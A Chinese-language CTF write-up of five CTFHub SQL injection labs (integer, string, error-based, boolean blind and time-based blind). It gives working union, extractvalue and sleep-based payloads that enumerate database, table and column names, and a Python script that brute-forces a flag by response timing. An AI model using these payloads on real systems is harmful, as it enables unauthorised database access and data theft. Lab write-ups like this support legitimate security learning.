这几天把sql注入最基础的一些给学了,用到了CTFHUB平台

1.整数型注入

拿到题目,打开网址,我们往输入框里输入1,显示如下,接下来我们输入

image-20250406194137600.png

1'-- -
1a' --
1" -- -
1a" -- -
1 -- -
1a -- -

我们发现,输入第五条时,回显存在,接下来我们以第五条为基础,编写我们的注入语句

我们查询的顺序依次是:

DATABASE()——表名(table_name)——列名(column_name)——列中内容

首先我们使用order by语句

1 order by xxx -- -

我们注意到,order by语句后为1和2时存在回显,3则无回显,我们得知,接下来的联合查询union select语句

应该为

1 union select 1,2 -- -

输入后我们观察到

image-20250406200833940.png

成功出现回显,将1改为-1接着我们逐步搜查表名,列名

库名:

-1 union select 1,database() -- -

表名:

-1 union select 1,table_name from information_schema.tables where table_schema = database() -- -

image-20250406201121654.png

这里发现,只显示了其中一个表,为了显示出更多的表名,我们使用group_concat()函数,构造语句

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema = database() -- -

image-20250406201245148.png

出现了第二个表名’flag’这个大概是我们需要的表

接下来是列名,我们构造语句

-1 union select 1,group_concat(column_name) from information_schema.columns where table_name = 'flag' -- -

image-20250406201414634.png

为了更严格,我们可以改为

-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema = DATABASE() AND table_name = 'flag' -- -

我们得到了列名,接下来可查询’flag’列中内容,我们构造语句

-1 union select 1,group_concat(flag) from flag  -- -

成功得到flag:ctfhub{dcbabdd32219de44f1513c3b}

image-20250406201708191.png

2.字符注入

image-20250406201902191.png

与之前相同,我们先判断是否存在注入漏洞以及闭合方式

1'-- -
1a' --
1" -- -
1a" -- -
1 -- -
1a -- -

接着我们来通过order by语句和union select语句

与上文的语句大致相同,我们可得到flag:ctfhub{0f30b333f2c779e2af8f9210}

image-20250406202513027.png

3.报错注入

报错注入并不会直接返回信息,但还是存在回显的,我们可以通过构造语句,让报错的语句中出现我们想要得到的目标

image-20250406202806063.png

这里我们使用extractvalue()函数,concat()函数,构造语句,得到结果

首先是查询库

1 and (select extractvalue(1,concat(0x7e,database()))) -- -

image-20250406203159208.png

我们得到库名为’sqli’

接下来构造语句查询表名

1 and (select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database())))) -- -

image-20250406204230287.png

我们可得到表名’flag’,接下来我们可得到列名

1 and (select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name = 'flag')))) -- -

image-20250406204354198.png

接下来我们查询列’flag’中内容:ctfhub{c69dd4ccce9c6c70d507b54a}

1 and (select extractvalue(1,concat(0x7e,(select group_concat(flag) from flag)))) -- -

image-20250406204500111.png

4.布尔盲注

image-20250406204737483.png

这里我们注意到,已经几乎没有回显了,没有返回信息,但还存在query_success,来提醒我们查询是否成功,接下来我们就逐步,一点点从库长度,库名,表个数,表名长度,表名,列个数,列名长度,列名,到最后我们得到内容,内容字节较多,我们使用py脚本就行爆破,得到flag

首先是库长度,我们构造语句

2 and length(database()) #后接'>','=','<',采用二分法判断

我们查出这里database()长度为4

image-20250406205316223.png

接下来我们来构造语句查询库名

2 and left(database(),1)='x'
2 and left(database(),2)='xx'
2 and left(database(),3)='xxx'
2 and left(database(),4)='xxxx'

我们最后可以得到,库名为’sqli’

image-20250406205536049.png

接下来我们判断表的情况

因为表可能存在多个,所以我们先构造语句判断表的个数

我们使用count()函数,

2 and (select count(*) from information_schema.tables where table_schema = database()) > 1 -- -

image-20250406205746640.png

我们得到,表有两个,接下来我们分别判断这两个表的长度

1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)) =4 -- -

我们通过改变limit 后数来选择表

0,1 #第一张表
1,1 #第二张表

接着我们来爆表名

1 and (select substr(table_name,1,4) from information_schema.tables where table_schema = database() limit 1,1) = 'flag'

我们分别得到第一张表名为’news’,第二张表名为’flag’

image-20250406212321346.png

接着我们来爆列个数,列长度,列名

分别构造语句

2 and (select count(*) from information_schema.columns where table_name = 'flag') =x  -- -
2 and length(substr((select column_name from information_schema.columns where table_name = 'flag' limit 0,1),1)) = -- -
2 and (select substr(column_name,1,4) from information_schema.columns where table_name = 'flag' limit 0,1) = 'flag' -- -

image-20250406213302602.png

我们得到了列名为’flag’

最后我们来爆出最后的flag

flag过长,我们采用脚本爆破

import requests
import sys
import time

session = requests.session()
url = "http://challenge-517a9541cbbd039b.sandbox.ctfhub.com:10800/?id="
flag = ""

# 查询 flag 字段的值
for i in range(1, 50): # 假设 flag 长度不超过 50
for j in range(32, 127): # 可打印 ASCII 范围
str_ascii = chr(j)
payload = f"if(substr((select flag from sqli.flag limit 0,1),{i},1)='{str_ascii}',sleep(1),1)"
start_time = time.time()
response = session.get(url + payload)
end_time = time.time()
t = end_time - start_time
if t > 1: # 如果延迟超过 1 秒,说明字符匹配
flag += str_ascii
print(f"[+] Current flag: {flag}")
break
else: # 如果内层循环未 break,说明字符不在 32-126 范围,可能是结束
print("[!] Reached end of flag or invalid character.")
break

print(f"\n[!] Final flag: {flag}")

我们得到最终flag:ctfhub{ae5e12c7977a8ff51ed577e8}

image-20250406213947421.png

5.时间盲注

你的意思是?时间盲注,就是在布尔盲注的基础上,因为没有回显,用到sleep()函数和if()函数,选用bp半自动注入?以返回时间为判断是否成功?

E66083D5637638E8F7ECF2A8A62172F3.png

image-20250406214754036.png

拿到题目,我们发现,真的是啥都不回,我们采用时间盲注

这里用到if(condition,A,B)函数和sleep()函数,在if()函数中,若condition成立,则执行A条件语句,否则执行B条件语句

那我们先试一下基础的判断

1 and if(2>1,sleep(5),1) -- -

这里我们发现,网页在近5秒后,才出现页面更改

接着我们像布尔盲注那样,慢慢爆破出各项

1 and if(left(database(),1)='x',sleep(5),1) -- -
1 and if(left(database(),2)='xx',sleep(5),1) -- -
1 and if(left(database(),3)='xxx',sleep(5),1) -- -
1 and if(left(database(),4)='xxxx',sleep(5),1) -- -

image-20250406215952967.png

我们成功得到库名’sqli’

接下来是爆出表个数,表长度,表名

2 and if((select count(*) from information_schema.tables where table_schema = database()) =x  ,sleep(5),1)-- -
2 and if (length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)) =4,sleep(5),1) -- -
2 and if((select substr(table_name,1,4) from information_schema.tables where table_schema = database() limit 1,1) = 'flag',sleep(5),1) -- -

image-20250406220745935.png

我们成功得到了存在两张表,第二张表长度为4,表名为’flag’

接下来是对列的个数,列长度,列名爆破

2 and if((select count(*) from information_schema.columns where table_name = 'flag') =x,sleep(5),1) -- -
2 and if(length(substr((select column_name from information_schema.columns where table_name = 'flag' limit 0,1),1)) =4,sleep(5),1) -- -
2 and if((select substr(column_name,1,4) from information_schema.columns where table_name = 'flag' limit 0,1) = 'flag',sleep(5),1) -- -

image-20250406221405263.png

我们成功得到了列有1个,列长度为4,列名为’flag’

我们借助脚本爆破出flag:ctfhub{3ddf5af78cc199cfe0536dd5}

image-20250406222138178.png

展示成果:

image-20250406222320897.png

彩蛋:

Image_619398522872154.png

想要成为MUSE高手。。。